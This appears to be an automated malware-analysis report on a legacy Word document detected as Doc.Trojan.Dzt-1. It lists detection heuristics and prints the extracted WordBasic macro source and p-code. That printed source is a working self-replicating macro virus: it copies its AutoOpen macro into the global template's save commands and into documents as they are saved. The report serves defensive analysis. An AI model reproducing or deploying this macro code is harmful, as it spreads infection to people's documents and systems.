MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
The sample is a legacy Microsoft Word document containing a WordBasic AutoOpen macro. This macro is designed to save the document in a different format, likely as part of a malicious chain. The presence of the AutoOpen macro and the ClamAV detection strongly indicate malicious intent, though the specific payload or ultimate goal is not fully discernible from the provided evidence.
Heuristics 4
-
ClamAV: Doc.Trojan.Dzt-1 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Dzt-1
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 8630 bytes |
SHA-256: fad357056079dc8ba45715b4d80c35e13ffb82b2108f0bc0bedada4b53e91552 |
|||
|
Detection
ClamAV:
Doc.Trojan.Dzt-1
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Dim formatfile, salah
Dim Filebaru$, Cek$
Public Sub MAIN()
Attribute MAIN.VB_Description = "Saves the active document or template"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
formatfile = 0
salah = 0
Filebaru$ = ""
Cek$ = ""
NoAuto
On Error GoTo -1: On Error GoTo finish
Cek$ = WordBasic.[FileNameFromWindow$]()
If WordBasic.IsMacro() Then
WordBasic.FileSave
GoTo finish
End If
ulang:
SaveTo
If salah = 1059 Then
Cek$ = ""
GoTo ulang
End If
finish:
If Err.Number = 509 Then PrintDisable
End Sub
Private Sub NoAuto()
On Error GoTo -1: On Error GoTo finish
WordBasic.DisableInput (1)
WordBasic.DisableAutoMacros (1)
finish:
End Sub
Private Sub SaveTo()
On Error GoTo -1: On Error GoTo finish
Dim dlg As Object: Set dlg = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs dlg
If Cek$ = "" Then WordBasic.Dialog.FileSaveAs dlg
If dlg.Format = 0 Then dlg.Format = 1
formatfile = dlg.Format
Filebaru$ = WordBasic.[FileName$]()
If formatfile = 1 Then CopyToFile
If salah = 0 Then
If formatfile = 1 Then Aksi
WordBasic.FileSaveAs dlg
End If
finish:
salah = Err.Number
End Sub
Private Sub CopyToFile()
On Error GoTo -1: On Error GoTo finish
CekCopyToFile
If salah = 0 Then
CopyFSAF
End If
If salah <> 0 Then
CopyFSG
CopyFSAG End If
finish:
End Sub
Private Sub CekCopyToFile()
On Error GoTo -1: On Error GoTo fin
WordBasic.MacroCopy "Global:FileSave", Filebaru$ + ":AutoOpen", 1
fin:
salah = Err.Number
End Sub
Private Sub CopyFSG()
On Error GoTo -1: On Error GoTo finish
WordBasic.MacroCopy Filebaru$ + ":AutoOpen", "Global:FileSave", 1
finish:
End Sub
Private Sub CopyFSAG()
On Error GoTo -1: On Error GoTo finish
WordBasic.MacroCopy Filebaru$ + ":FileSaveAs", "Global:FileSaveAs", 1
finish:
End Sub
Private Sub CopyFSAF()
On Error GoTo -1: On Error GoTo finish
WordBasic.MacroCopy "Global:FileSaveAs", Filebaru$ + ":FileSaveAs", 1
finish:
End Sub
Private Sub Aksi()
On Error GoTo -1: On Error GoTo finish
WordBasic.FileSummaryInfo Comments:="DZT"
WordBasic.SetDocumentVar "Dzutaqshiri", "(c)Hikmat Sudrajat, Bandung, April 1996"
finish:
End Sub
Private Sub PrintDisable()
On Error GoTo -1: On Error GoTo finish
WordBasic.PrintStatusBar "This command is not available because a document window is not active"
finish:
End Sub
Attribute VB_Name = "NewMacros"
' Processing file: /opt/analyzer/scan_staging/5c04a759d22445b09d558b0138712f92.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 5436 bytes
' Line #0:
' Line #1:
' Dim
' VarDefn formatfile
' VarDefn salah
' Line #2:
' Dim
' VarDefn Filebaru
' VarDefn Cek
' Line #3:
' Line #4:
' FuncDefn (Public Sub MAIN())
' Line #5:
' LitDI2 0x0000
' St formatfile
' Line #6:
' LitDI2 0x0000
' St salah
' Line #7:
' LitStr 0x0000 ""
' St Filebaru$
' Line #8:
' LitStr 0x0000 ""
' St Cek$
' Line #9:
' ArgsCall NoAuto 0x0000
' Line #10:
' OnError <crash>
' BoS 0x0000
' OnError finish
' Line #11:
' Ld WordBasic
' ArgsMemLd [FileNameFromWindow$] 0x0000
' St Cek$
' Line #12:
' Ld WordBasic
' ArgsMemLd IsMacro 0x0000
' IfBlock
' Line #13:
' Ld WordBasic
' ArgsMemCall FileSave 0x0000
' Line #14:
' GoTo finish
' Line #15:
' EndIfBlock
' Line #16:
' Label ulang
' Line #17:
' ArgsCall SaveTo 0x0000
' Line #18:
' Ld salah
' LitDI2 0x0423
' Eq
' IfBlock
' Line #19:
' LitStr 0x0000 ""
' St Cek$
' Line #20:
' GoTo ulang
' Line #21:
' EndIfBlock
' Line #22:
' Label finish
' Line #23:
' Ld Err
' MemLd Number
' LitDI2 0x01FD
' Eq
' If
' BoSImplicit
... (truncated)
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.